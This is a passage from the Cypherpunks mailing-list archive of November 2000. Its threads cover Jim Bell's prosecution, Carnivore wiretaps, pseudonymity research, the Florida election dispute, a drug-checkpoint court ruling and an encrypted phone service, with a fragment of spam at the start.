23:02:08 -0600 Subject: CDR: ADV. Natural penis enlargement -without surgery-! Message-ID: ================ Removal Information ========================= This message is sent in compliance of the new email bill section 301. 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Please let those who suffer from erectile dysfunction, similar problems or small penis size receive this information! =============== DISPONIBLE TAMBIEN EN ESPAÑOL =================== From tcmay at got.net Mon Nov 27 23:26:09 2000 From: tcmay at got.net (Tim May) Date: Mon, 27 Nov 2000 23:26:09 -0800 Subject: CDR: Re: Jim Bell In-Reply-To: <20001128011941.B27074@cluebot.com> References: <20001128011941.B27074@cluebot.com> Message-ID: At 1:19 AM -0500 11/28/00, Declan McCullagh wrote: >The affidavit/complaint we link to at cluebot.com contains an >allegation from the Feds that Bell only 'fessed up to (in previous >interviews with l.e.) authoring the AP essays. > >I do not recall reading about, or writing about, Bell being charged >with deploying a working AP system. No, they've been prosecuting him >using far more mundane allegations of SSN misuse, stinkbombs, and >stalking. AP just gives it all spice, I suppose. More than spice, I think. I think _this_ time they plan to make AP part of their case. As your own article said, "When the feds searched Bell's home earlier this month, according to a one-page attachment to the search warrant, agents were looking for "items which refer to Assassination Politics."" I won't engage in the kind of speculation about how they might build their case, but I think this is where they are going. Granted, they will not try to claim that Bell was running a real AP lottery. But they may make claims that he was planning an assassination. Some jurors might be swayed by the language in AP and by the (alleged) utterance: "Say goodnight, Joshua." (Wasn't Joshua the computer in "War Games"?) > >On Mon, Nov 27, 2000 at 11:46:14PM -0500, R. A. Hettinga wrote: >> At 7:45 PM -0800 on 11/27/00, Tim May wrote: >> >> >> > (I think any of >> > us could be called as witnesses to refute a state claim that he was >> > deploying a real system!) >> >> Which, unfortunately, and IIRC, he actually *pled* to, nonetheless. >> > > Sheesh. No, I don't recall any such plea. Inasmuch as AP is some years off into the future, as even Bell would probably acknowledge (and may have acknowledged, if one dredges up all of his posts and looks at them carefully), I doubt he'd make a plea agreement that he had deployed a working AP system. I think AP was just hovering on the periphery in the first two rounds. This time they may try to make it a more central part of some case. Hence my comment that some of us may be called by the defense to explain why AP could not possibly be an operational system at this time. --Tim May -- (This .sig file has not been significantly changed since 1992. As the election debacle unfolds, it is time to prepare a new one. Stay tuned.) From declan at well.com Mon Nov 27 20:43:58 2000 From: declan at well.com (Declan McCullagh) Date: Mon, 27 Nov 2000 23:43:58 -0500 Subject: CDR: Re: Carnivore Probe Mollifies Some In-Reply-To: ; from tcmay@got.net on Mon, Nov 27, 2000 at 10:36:44PM -0500 References: <3b14d4561626c38c96b65593c0236992@noisebox.remailer.org> Message-ID: <20001128000721.A27074@cluebot.com> I believe ECPA speaks to this explicitly, and where common law may (at least arguably) be ambiguous about meatspace, U.S. statutory law regarding electronic communications is not. I may look this up and provide a cite if nobody else does in the next day or so. -Declan On Mon, Nov 27, 2000 at 10:36:44PM -0500, Tim May wrote: > More in tune with discussions I used to see (and participate in) on > the Cyberia-L list, there _might_ be some "innkeeper's > interpretation" (so to speak) about how a hotel owner can authorize > access to the rooms of patrons without specific warrants for the > patrons, by name. I believe, though I don't have any cites, that this > power is not so broad. And a warrant served against the San Francisco > Hyatt Regency in, say, October 1997, does not mean that cops can > wander through hotel rooms at will a year or three later. From rah at shipwright.com Mon Nov 27 20:46:14 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Mon, 27 Nov 2000 23:46:14 -0500 Subject: CDR: Re: Jim Bell In-Reply-To: References: Message-ID: At 7:45 PM -0800 on 11/27/00, Tim May wrote: > (I think any of > us could be called as witnesses to refute a state claim that he was > deploying a real system!) Which, unfortunately, and IIRC, he actually *pled* to, nonetheless. Sheesh. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From adam at cypherspace.org Mon Nov 27 20:47:47 2000 From: adam at cypherspace.org (Adam Back) Date: Mon, 27 Nov 2000 23:47:47 -0500 Subject: CDR: Re: ZKS -- the path to world domination In-Reply-To: <200011240616.BAA00561@cypherspace.org> (message from Adam Back on Fri, 24 Nov 2000 01:16:34 -0500) Message-ID: <200011280447.XAA00819@cypherspace.org> Greg wrote earlier about ZKS' Managed Privacy services: > what I wonder about with this is where ZKS' loyalties will appear to > be. Consumers probably want to see their privacy software vendor as > "on their side"; but commercial interests working on data collection > are probably going to want to work with people who will help them > advance their own goals, sometimes at the price of others' > privacy. Well ZKS should have an interest maintaining a good reputation for acting in the interests of users privacy. Companies who use such services should also have an interest in using services of companies with good privacy reputations -- as this would tend to give better consumer confidence in the resulting systems. > The closest parallel I can see is to environmental groups, who have > in some cases endorsed certain corporations or certain practices as > "green" or "environmentally friendly", and who have subsequently > lost stature among some of their members and peers as having "sold > out". I don't know if it will work well to be perceived as serving > two masters - even if the corporate interests pay lip service to > "protecting our customers' privacy". I guess the only answers are maintaining professionalism, and integrity and to maintain a strong stance on users privacy, with clear long term objectives (avoiding short-sighted small incremental improvements which may stay for a long time just because of the fact that built working systems don't get replaced as long as they continue to function). Openness would be a guiding principle too I would think -- so that users and technology critics can analyse and criticize the systems. Transparent functioning is a huge win for privacy. Adam From adam at cypherspace.org Mon Nov 27 22:03:20 2000 From: adam at cypherspace.org (Adam Back) Date: Tue, 28 Nov 2000 01:03:20 -0500 Subject: CDR: Re: Internet anonymity/pseudonymity meeting invitation Message-ID: <200011280605.BAA00900@cypherspace.org> Peter wrote: > > This first meeting is a brief, relatively unstructured get-to-know-you > > affair, designed to identify those interested and start them talking to > > one another. > [...] > > -- J. Bashinski > > Secretary, NymIP-RG > > Does anyone besides me find irony in having a 'get-to-know-you' > session for a group studying anonymity? Will they allow masked > attendees? I don't think anyone will be demanding government ID. Short of a ski mask though attendees might get to see what you look like. John did have some things in the organisation stuff about pseudonymous participation. If it's still in there you might find it here: http://nymip.sourceforge.net/ Yes it's still there: | Pseudonymity | | Members, whether core members or at-large members, may participate | under pseudonyms. Pseudonymous members need not disclose their "real" | names or other identifying information to RG officers or to any other | party. Pseudonymous members must, however, disclose their | organizational affiliations and potential commercial interests, in | sufficient detail to permit other members to reasonably assess the | potential for collusion or conflicts of interest. The level of detail | required in such disclosures shall be determined by the Chair, and | need not necessarily include the names of specific organizations in | all cases. No single person may hold multiple core memberships under | different identities. Although I'm not sure the restrictions are possible except for people who physically attend meetings, but I'd guess the intention is clear enough: allow pseudonymity, encourage pseudonymous people to disclose conflicts of interest. > Will the mailng list allow posts from anonymous remailers, or is it > closed? http://lists.sourceforge.net/mailman/listinfo/nymip-res-group Says: | On November 25, 2000, Scott Bradner, NymIP-RG Chair, set the | moderation policy for this list as follows: | | I'd just as soon have the mailing list be open and moderate | it only if we start to get too much spam or wacko-ites. > Is there a website to allow anonymous reading? Well you could always use freedom on the web archive :-) http://www.geocrawler.com/lists/3/SourceForge/7558/0/ Adam From rah at shipwright.com Mon Nov 27 22:06:06 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 28 Nov 2000 01:06:06 -0500 Subject: CDR: Re: Jim Bell In-Reply-To: <20001128011941.B27074@cluebot.com> References: <20001128011941.B27074@cluebot.com> Message-ID: At 1:19 AM -0500 on 11/28/00, Declan McCullagh wrote: > I do not recall reading about, or writing about, Bell being charged > with deploying a working AP system. Hmmm... Maybe it was Toto's ersatz-AP web page I was remembering, now that I think about it, which, of course, Toto *didn't* plead to... Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From declan at well.com Mon Nov 27 22:10:59 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 28 Nov 2000 01:10:59 -0500 Subject: CDR: Re: Jim Bell In-Reply-To: References: <20001128011941.B27074@cluebot.com> <20001128011941.B27074@cluebot.com> Message-ID: <4.3.0.20001128010929.01b566d0@mail.well.com> At 01:06 11/28/2000 -0500, R. A. Hettinga wrote: >Hmmm... > >Maybe it was Toto's ersatz-AP web page I was remembering, now that I think >about it, which, of course, Toto *didn't* plead to... Ah, I think you're right. I don't remember a whole lot of substance backing that allegation (it didn't help that it was most certainly baseless), but I do remember that being part of the complaint against the other "crypto-criminal." -Declan From declan at well.com Mon Nov 27 22:19:41 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 28 Nov 2000 01:19:41 -0500 Subject: CDR: Re: Jim Bell In-Reply-To: ; from rah@shipwright.com on Mon, Nov 27, 2000 at 11:46:14PM -0500 References: Message-ID: <20001128011941.B27074@cluebot.com> The affidavit/complaint we link to at cluebot.com contains an allegation from the Feds that Bell only 'fessed up to (in previous interviews with l.e.) authoring the AP essays. I do not recall reading about, or writing about, Bell being charged with deploying a working AP system. No, they've been prosecuting him using far more mundane allegations of SSN misuse, stinkbombs, and stalking. AP just gives it all spice, I suppose. -Declan On Mon, Nov 27, 2000 at 11:46:14PM -0500, R. A. Hettinga wrote: > At 7:45 PM -0800 on 11/27/00, Tim May wrote: > > > > (I think any of > > us could be called as witnesses to refute a state claim that he was > > deploying a real system!) > > Which, unfortunately, and IIRC, he actually *pled* to, nonetheless. > > Sheesh. > > Cheers, > RAH > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > From abs at squig.org Tue Nov 28 04:14:48 2000 From: abs at squig.org (Alex B. Shepardsen) Date: Tue, 28 Nov 2000 04:14:48 -0800 (PST) Subject: CDR: Re: Jim Bell In-Reply-To: Message-ID: On Mon, 27 Nov 2000, Tim May wrote: > More than spice, I think. I think _this_ time they plan to make AP > part of their case. [snip] > Granted, they will not try to claim that Bell was running a real AP > lottery. But they may make claims that he was planning an > assassination. Some jurors might be swayed by the language in AP and > by the (alleged) utterance: [snip] > This time they may try to make it a more central part of some case. > Hence my comment that some of us may be called by the defense to > explain why AP could not possibly be an operational system at this > time. It should be obvious, should it not, that AP isn't deployable at the present time? I would be quite surprised if AP was brought into the case with any greater role than "proof" that Jim was engaged in that most dangerous activty known as thought, focused on the concepts of revolutionary action. "Look, this guy is so dangerous, he even developed an untraceable method for commissioning contract killings!" The prosecution won't want to make AP a major part of their case. It will distract from the cyber-stalking issue, which is what they'll get him on. Besides, free publicity for AP isn't going to make Jeff Gordon sleep any better at night. Alex From baptista at pccf.net Tue Nov 28 02:44:17 2000 From: baptista at pccf.net (Joe Baptista) Date: Tue, 28 Nov 2000 05:44:17 -0500 (EST) Subject: CDR: Wanted TLD operators for the ORSC Message-ID: I'm looking for people who want to operate tlds in the orsc zone. You need to know BIND, and have a familiarity with database programming like mysql. If anyone is interested - send me a private email and i'll followup on it this weekend and we can start getting you online. The orsc needs new blood. It's stagnated at 380 member tlds. regards joe baptista -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From nobody at remailer.ch Mon Nov 27 21:55:04 2000 From: nobody at remailer.ch (Anonymous) Date: 28 Nov 2000 05:55:04 -0000 Subject: CDR: Re: Imagine In-Reply-To: <3ea1c0c6af88b571e86f82cb967a4d02@anon.xg.nu> Message-ID: <5632bc3f046e43472f17c277a10a11fe@remailer.ch> No User wrote: > A history professor from Uppsala Universitet in Sweden, called to > tell me about this article she had read Uppsala Universitet has no female history professors. Sorry. From k.brown at ccs.bbk.ac.uk Tue Nov 28 03:54:30 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Tue, 28 Nov 2000 06:54:30 -0500 Subject: CDR: Re: Carnivore Probe Mollifies Some References: <3b14d4561626c38c96b65593c0236992@noisebox.remailer.org> Message-ID: <3A239B82.B86924BA@ccs.bbk.ac.uk> Tim May wrote: [...snip...] > Well, if I ran a small ISP, I think I'd say: "You got a wiretap order > for one person. That order has now run its course. Get your machine > out of my cage." [...snip...] Of course if they leave the machine in the cage you can always stop feeding it electricity. Or take it home to show the neighbours. It might make a good conversation piece at dinner. Or maybe use it as an ashtray. Ken From abs at squig.org Tue Nov 28 08:03:57 2000 From: abs at squig.org (Alex B. Shepardsen) Date: Tue, 28 Nov 2000 08:03:57 -0800 (PST) Subject: CDR: Re: Imagine In-Reply-To: <3A23D053.E0E6A946@harmon.arrowhead.lib.mn.us> Message-ID: On Tue, 28 Nov 2000, Harmon Seaver wrote: > And of course if algore wins thru his court challenges, most > people would see that as a rigged election as well. Which it is -- > either way. Just two criminal gangs fighting over turf. So we've got a problem. The voting methods we have aren't adequate. It's obvious that something needs to be done to fix this for the future... but what would you have happen now? Without a full recount, Bush's victory will always be questioned. With more legal battles from Gore, he loses credibility as the US citizens lose faith in the electorial process. How do you propose this be handled? I've not seen any good suggestions yet that address all concerns. Alex From bill.stewart at pobox.com Tue Nov 28 09:05:37 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 28 Nov 2000 09:05:37 -0800 Subject: CDR: Re: Jim Bell In-Reply-To: References: <20001128011941.B27074@cluebot.com> <20001128011941.B27074@cluebot.com> Message-ID: <3.0.5.32.20001128090537.01a46a20@idiom.com> At 11:26 PM 11/27/00 -0800, Tim May wrote: > Some jurors might be swayed by the language in AP and >by the (alleged) utterance: > "Say goodnight, Joshua." >(Wasn't Joshua the computer in "War Games"?) Joshua was Dr. Richard Falken's kid's name, which Matthew Broderick's character guessed was the password for his account on WOPR, the computer. "Would you like to play a game?" It was also the password for rfalken's free trial account on the new MCImail service :-) [I was at the NSA Crypto museum last weekend, and one machine they had on display was a Connection Machine massively parallel processor. The Connection Machine has a blinkenlights panel that was inspired by and resembles WOPR's blinkenlights.] >>On Mon, Nov 27, 2000 at 11:46:14PM -0500, R. A. Hettinga wrote: >>> At 7:45 PM -0800 on 11/27/00, Tim May wrote: >>> > (I think any of us could be called as witnesses to refute a >>> > state claim that he was deploying a real system!) >>> >>> Which, unfortunately, and IIRC, he actually *pled* to, nonetheless. >No, I don't recall any such plea. Inasmuch as AP is some years off >into the future, as even Bell would probably acknowledge (and may >have acknowledged, if one dredges up all of his posts and looks at >them carefully), I doubt he'd make a plea agreement that he had >deployed a working AP system. Agreed - Bell may be frightfully clueless on some things, but he was quite clear that his system depended on both untraceable anonymous communications and anonymous digicash, neither of which existed at that time nor yet today. Remailers then and now were untraceable as long as nobody was attacking them (because you can't divulge logs you didn't keep), but weren't designed for the kind of attack than an ongoing publicly announced assassination pool would produce. Bell might have been doing wishful thinking about AP, but the activities he was directly involved in were misuse of SS numbers (which he pled to), and that common-law court thing that was harassing government officials (I don't think he pled to anything on that or on the statute-of-limitations-earlier stinkbombing of the IRS office.) But he was ordered not to do a lot of things which he might or might not have been careful enough to avoid while keeping tabs on Gordon. >> "When the feds searched Bell's home earlier this month, >> according to a one-page attachment to the search warrant, >> agents were looking for "items which refer to Assassination Politics."" Yeah, right. They lost their copy and can't find it on the net? Must be tough to have the cops have a built-in excuse to search your house any time they want to go fishing, and I see they've decided to accuse him of once buying (legal) chemicals for cooking meth. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From cabhop at highfiber.com Tue Nov 28 07:13:18 2000 From: cabhop at highfiber.com (Robert Huddleston) Date: Tue, 28 Nov 2000 09:13:18 -0600 Subject: No subject Message-ID: believer at telepath.com) Subject: ip: Know your enemy By Linda A. Prussen-Razzano http://www.enterstageright.com/1200freepers.htm Enter Stage Right Know your enemy By Linda A. Prussen-Razzano Senator Joseph Lieberman, Vice President Al Gore's running mate, publicly issued allegations that the Republican Party was bussing paid operatives to Florida for the expressed purpose of intimidating local election officials into stopping the manual recount. Other Democrat spinmeisters are now running amok on the airwaves decrying any public displays of Republican outrage as "dangerous." In effect, this is the Vast Right Wing Conspiracy revisited, where anyone uncomfortable with Democrat shenanigans is a vicious partisan; therefore, their indignation is evil in its intent. Not only is this approach pitiful, it reveals just how little they know about their "opposition." The rallies and protests I've seen on the television have all the hallmarks of a "FReep." FReep is a term coined several years ago by the registered users at FreeRepublic.com, a political action web-site for conservatives. The "Sore Loserman 2000" signs now peppering mainstream news casts were not compiled by the Republican Party. This ingenious phrase was coined by three registered users, "CPL Baum," "Registered," and "Mass Exodus." [Click here for the story or here to buy t-shirts] The now famous "Cops Cheer," heard in the background of Washington reporter's newscasts, originated in the weekly Washington, D.C. protests by, yet again, FreeRepublic. On their own time and their own dime, this loosely knit group of motivated citizens has been holding peaceful protests across the country for at least two years. If the Republican Party was actually paying protestors, as Senator Lieberman would have us believe, then "Angelwood" and several other "Freepers" have considerable back pay coming to them. Obviously, it's easier for Senator Lieberman to believe the Republican Party is bussing people in and paying them to protest; the alternative means that a genuine ground swell of disgust is now leaving the privacy of living rooms and spilling into the streets. Senator Lieberman would like to believe these protestors are simply cheap political hacks, ready to mouth any slogan for the almighty dollar; the alternative means that average men and women are using their holiday time to make their voice heard at such a critical juncture in our nation's history. After taking such a disastrous hit with their notorious 5-page military memorandum, they can't afford any more losses in the public relations war and must immediately attempt to discredit any voice of dissent. Their response backfired. The buzz is that several otherwise complacent groups are now active and outraged. Instead of sitting back, watching as "dimples" are divined while bona fide military ballots are discarded, they plan to also take to the streets in peaceful, but vocal protest. How many protestors will it take, Senator Lieberman, before you realize the Republican Party can't possibly be "paying" them all? The pinnacle of this debacle was Senator Lieberman's assertion that these protests were meant to intimidate election board officials. This, from the campaign that threatened and effected legal action against election board officials because they weren't following orders? This, from the campaign that excoriated Secretary of State Harris and maligned Republicans? This, from the campaign that is actively attempting to influence representatives to the Electoral College? If the allegation weren't so pathetic, it would be funny. Finally, these protestors are not "thugs." They are citizens of the United States. You presumably want to be our Vice President; that makes you our servant, not our master. When they, and others like them, peacefully protest, they are exercising their Constitutionally guaranteed First Amendment rights; only a fascist would consider this "dangerous." ========= web posted November 27, 2000 Linda Prussen-Razzano is an advisory board member and frequent contributor to Rightgrrl and a columnist for the American Partisan. --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From bill.stewart at pobox.com Tue Nov 28 09:21:37 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 28 Nov 2000 09:21:37 -0800 Subject: CDR: Re: Imagine In-Reply-To: <3A239AD9.7918AF47@ccs.bbk.ac.uk> References: <3ea1c0c6af88b571e86f82cb967a4d02@anon.xg.nu> Message-ID: <3.0.5.32.20001128092137.01a46a20@idiom.com> At 11:45 AM 11/28/00 +0000, Ken Brown wrote: .... >Which is exactly what the current US situation looks like to most people >outside the US. It presumably seems different to the Americans >themselves (or at least the Republican voters amongst them), but to the >rest of us the whole thing cuts heavily at Bush's credibility Oh, my - you're saying that Bush has *credibility* in the rest of the world? :-) This reminds me more of the tail-wagging-the-dog situations that parliamentary systems get into when some minor religious party or right-wing-wackos or the Monster Raving Loonie party gets to tell the bigger party what to do because they need three more seats for their coalition. Too bad Florida has a winner-takes-all system - under proportional representation they'd have been done weeks ago, with one electoral vote for Nader, 12 for Gore, and 12 for Bush, and that would fairly accurately reflect the opinions of Florida's voters, unlike the current situation where the margin of error in the counts is much wider than the difference between the totals. And it's not even available as a compromise, because Gore's in the lead without the Florida votes, so that would give him the election. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From boo at datashopper.dk Tue Nov 28 00:35:21 2000 From: boo at datashopper.dk (Bo Elkjaer) Date: Tue, 28 Nov 2000 09:35:21 +0100 (CET) Subject: CDR: Re: Imagine In-Reply-To: <5632bc3f046e43472f17c277a10a11fe@remailer.ch> Message-ID: On 28 Nov 2000, Anonymous wrote: > > Uppsala Universitet has no female history professors. Sorry. > So what? The US Humbucracy is still a joke. A lousy humourless joke, no less. Yours From bill.stewart at pobox.com Tue Nov 28 09:36:53 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Tue, 28 Nov 2000 09:36:53 -0800 Subject: CDR: Re: Wanted TLD operators for the ORSC In-Reply-To: Message-ID: <3.0.5.32.20001128093653.01a46a20@idiom.com> At 05:44 AM 11/28/00 -0500, Joe Baptista wrote: >I'm looking for people who want to operate tlds in the orsc zone. >You need to know BIND, and have a familiarity with database programming >like mysql. >If anyone is interested - send me a private email and i'll followup on it >this weekend and we can start getting you online. > >The orsc needs new blood. It's stagnated at 380 member tlds. Well, if you're not averse to stirring up trouble (:-), see if you can find the contact for China's proposed .[Chinese-Unicode-Character-for-Commercial] TLD, which they announced would be competing with ICANN's .com for Chinese-language domain names. I don't know what the phonetic equivalent of the name is, but maybe they'd also want somebody to run ".chicom" mirroring it... Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From everding at technomystic.org Tue Nov 28 10:07:47 2000 From: everding at technomystic.org (Console Cowboy) Date: Tue, 28 Nov 2000 10:07:47 -0800 (PST) Subject: CDR: Re: Lost password In-Reply-To: <975510976.7843@egroups.com> Message-ID: Has anyone though about setting this list to only accept mail from it's members? That would seem to solve quite a few of these issues (issues meaning lots of spam, like 2-5 messages a day of spam from this address.) { BE -----------1011.1110------------------ everding at technomystic.org } This must be morning. I never could get the hang of mornings. {--- GPG public key @ http://www.technomystic.org/~everding/gpgkey ---} On 29 Nov 2000, eGroups Notification wrote: > > Hello, > > Thanks for using eGroups, home to free, easy, email groups. > We have received your request for information about a forgotten > password. > > * If you requested this notice and still don't remember your > password, please follow these steps to create a new > password: > > 1. In your web browser, go to: > http://www.egroups.com/lostpassword?user=cypherpunks at toad.com > > 2. Enter this reauthorization number: 68947 > > 3. You will be asked to create a new permanent password. > Your new password cannot be the reauthorization > number. > > * If you did not request this notice, please ignore this > message. Your eGroups account and current password have > not been affected and you can continue using our free > service as usual. If you believe someone is attempting to > misuse your email account, please forward this message to > egroups-abuse at yahoo-inc.com. > > > Regards, > > eGroups Customer Support > > > > > > > From declan at well.com Tue Nov 28 07:10:32 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 28 Nov 2000 10:10:32 -0500 Subject: CDR: Janet Reno on Florida, children, violence Message-ID: <4.3.0.20001128101012.01b4a030@mail.well.com> Today: ATTORNEY GENERAL JANET RENO'S SCHEDULE Attends Florida's Children Exposed to Violence "Safe from the Start" Summit, Palm Beach Community College, 4200 Congress Ave., Lake Worth, FL Location: Location Not Listed. Contact: 202-616-2771 From hseaver at harmon.arrowhead.lib.mn.us Tue Nov 28 07:32:41 2000 From: hseaver at harmon.arrowhead.lib.mn.us (Harmon Seaver) Date: Tue, 28 Nov 2000 10:32:41 -0500 Subject: CDR: Re: Imagine References: <3ea1c0c6af88b571e86f82cb967a4d02@anon.xg.nu> Message-ID: <3A23D053.E0E6A946@harmon.arrowhead.lib.mn.us> And of course if algore wins thru his court challenges, most people would see that as a rigged election as well. Which it is -- either way. Just two criminal gangs fighting over turf. -- Harmon Seaver, MLIS Systems Librarian Arrowhead Library System Virginia, MN (218) 741-3840 hseaver at arrowhead.lib.mn.us http://harmon.arrowhead.lib.mn.us From George at Orwellian.Org Tue Nov 28 08:18:11 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Tue, 28 Nov 2000 11:18:11 -0500 (EST) Subject: CDR: On 60 inches tonight, damn you all Message-ID: <200011281618.LAA01642@www2.aa.psiweb.com> http://foxnews.com/national/court/scotus_roadblocks.sml # # Drug Checkpoints Struck Down by High Court # # Tuesday, November 28, 2000 # # In a divided 6-3 ruling, the Supreme Court on Monday struck down # as unconstitutional random roadblocks intended to catch criminals # trafficking drugs. # # The ruling weighed privacy rights against the interests of law # enforcement and found that Indianapolis' use of drug-sniffing # dogs to check all cars pulled over at the roadblocks was an # unreasonable search under the Constitution. # # The majority, in an opinion written by Justice Sandra Day # O'Connor, said the ruling does not affect other kinds of police # roadblocks such as border checks and drunken-driving checkpoints. # Those have already been found constitutional. # # But the reasoning behind those kinds of roadblocks - chiefly # that the benefit to the public outweighs the inconvenience - # cannot be applied broadly, O'Connor wrote. # # "If this case were to rest on such a high level of generality, # there would be little check on the authorities' ability to # construct roadblocks for almost any conceivable law enforcement # purpose," the opinion said. # # The three dissenters were the court's most conservative justices: # Chief Justice William Rehnquist and Justices Antonin Scalia and # Clarence Thomas. # # Lawyers for Indianapolis conceded that the roadblocks erected # there in 1998 detained far more innocent motorists than criminals. # # The city said its primary aim was to catch drug criminals. Civil # liberties advocates called the practice heavy-handed and risky, # and asked the Supreme Court to ban it. # # Law enforcement in and of itself is not a good enough reason # to stop innocent motorists, the majority ruling concluded. # # The court was not swayed by the argument that the severity of # the drug problem in some city neighborhoods justified the # searches. # # "While we do not limit the purposes that may justify a checkpoint # program to any rigid set of categories, we decline to approve # a program whose primary purpose is ultimately indistinguishable # from the general interest in crime control," the majority opinion # said. # # Cars were pulled over at random in high-crime neighborhoods in # Indianapolis, motorists questioned, and a drug-sniffing dog led # around the cars. Most motorists were detained for about three # minutes. # # The city conducted six roadblocks over four months in 1998 before # the practice was challenged in federal court. # # Police stopped 1,161 cars and trucks and made 104 arrests. # Fifty-five of the arrests were on drug charges. From k.brown at ccs.bbk.ac.uk Tue Nov 28 03:45:29 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Tue, 28 Nov 2000 11:45:29 +0000 Subject: CDR: Re: Imagine References: <3ea1c0c6af88b571e86f82cb967a4d02@anon.xg.nu> Message-ID: <3A239AD9.7918AF47@ccs.bbk.ac.uk> No User wrote: > A history professor from Uppsala Universitet in Sweden, called to tell me about > this article she had read in which a > Zimbabwe politician was quoted as saying that children should study this event > closely for it shows that election > fraud is not only a Third World phenomena. > > 1. Imagine that we read of an election occurring anywhere in the third world in > which the self declared winner was > the son of the former prime minister and that former prime minister was himself > the former head of that nation's > secret police (CIA). [...snip...] Which is exactly what the current US situation looks like to most people outside the US. It presumably seems different to the Americans themselves (or at least the Republican voters amongst them), but to the rest of us the whole thing cuts heavily at Bush's credibility Ken > 2. Imagine that the self declared winner lost the popular vote but won based on > some old colonial holdover (electoral > college) from the nation's pre-democracy past. > > 3. Imagine that the self-declared winner's 'victory' turned on disputed votes > cast in a province governed by his > brother! > > 4. Imagine that the poorly drafted ballots of one district, a district heavily > favoring the self-declared winner's > opponent, led thousands of voters to vote for the wrong candidate. > > 5. Imagine that that members of that nation's most despised caste, fearing for > their lives/livelihoods, turned out in > record numbers to vote in near-universal opposition to the self-declared > winner's candidacy. > > 6. Imagine that hundreds of members of that most-despised caste were > intercepted on their way to the polls by state > police operating under the authority of the self-declared winner's brother. > > 7. Imagine that six million people voted in the disputed province and that the > self-declared winner's 'lead' was only > 327 votes. Fewer, certainly, than the vote counting machines' margin of error. > > 8. Imagine that the self-declared winner and his political party opposed a more > careful by-hand inspection and > re-counting of the ballots in the disputed province or in its most hotly > disputed district. > > 9. Imagine that the self-declared winner, himself a governor of a major > province, had the worst human rights record > of any province in his nation and actually led the nation in executions. > > 10. Imagine that a major campaign promise of the self-declared winner was to > appoint like-minded human rights > violators to lifetime positions on the high court of that nation. > > None of us would deem such an election to be representative of anything other > than the self-declared winner's > will-to-power. All of us, I imagine, would wearily turn the page thinking that > it was another sad tale of pitiful pre- or > anti-democracy peoples in some strange elsewhere." From rah at shipwright.com Tue Nov 28 08:54:39 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 28 Nov 2000 11:54:39 -0500 Subject: CDR: Re: Janet Reno on Florida, children, violence In-Reply-To: <4.3.0.20001128101012.01b4a030@mail.well.com> References: <4.3.0.20001128101012.01b4a030@mail.well.com> Message-ID: At 10:10 AM -0500 on 11/28/00, Declan McCullagh wrote: > ATTORNEY GENERAL JANET RENO'S SCHEDULE > Attends Florida's Children Exposed to Violence "Safe from the > Start" > Summit, Palm Beach Community College, 4200 Congress Ave., Lake Worth, > FL > Location: Location Not Listed. > Contact: 202-616-2771 Meanwhile there was a legal conference here at Harvard recently on the day-care "child-abuse" witch hunt hysteria that got JR her first bones as a DA, and, eventually, the AGUS job. They had the younger Ms. Amerault there, recently out of stir awaiting a probably-never-to-be-held retrial -- her 70-something year old mother having recently died of terminal claustrophobia from said prison visit -- whose brother is still in jail begging for a parole-board commutation for a "crime" he didn't commit. Meanwhile JR quite literally burns a score or two of children in Waco and goes around headlining "its for the children" conferences like the above. The irony meter pegs. It takes a village to hang a witch and burn a child, I guess. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From ptrei at rsasecurity.com Tue Nov 28 09:00:25 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Tue, 28 Nov 2000 12:00:25 -0500 Subject: CDR: SnapSheild offers encrypted phone service. Message-ID: (Vin McLellan pointed this out to me). http://www.computeruser.com/news/00/11/23/news6.html http://www.snapshield.com/ Snapshield (formerly Microlink) is offering a product consisting of special box which sits on your phone line and special PBXs which allow 'end-to-end' encrypted voice/fax etc, based on DES (apparently single DES) and El-Gamal. Calls to or from their Snapshield equipped phones are routed via a special PBX box which provides encryption between the PBX and the phone. If both phones support encryption, the entire link is encrypted. Their page is kind of light on details. In particular it's not clear whether session keys are negotiated between the 'Snapgate' PBX box or between two of the phone boxes. Since they support point-to-multipoint calling, and indicate that monitoring is possible, I suspect the former. For some users, this means that the Snapgate box is an unacceptable point of attack. I can't find any suggestion of robust authentication, though I have not checked everything on 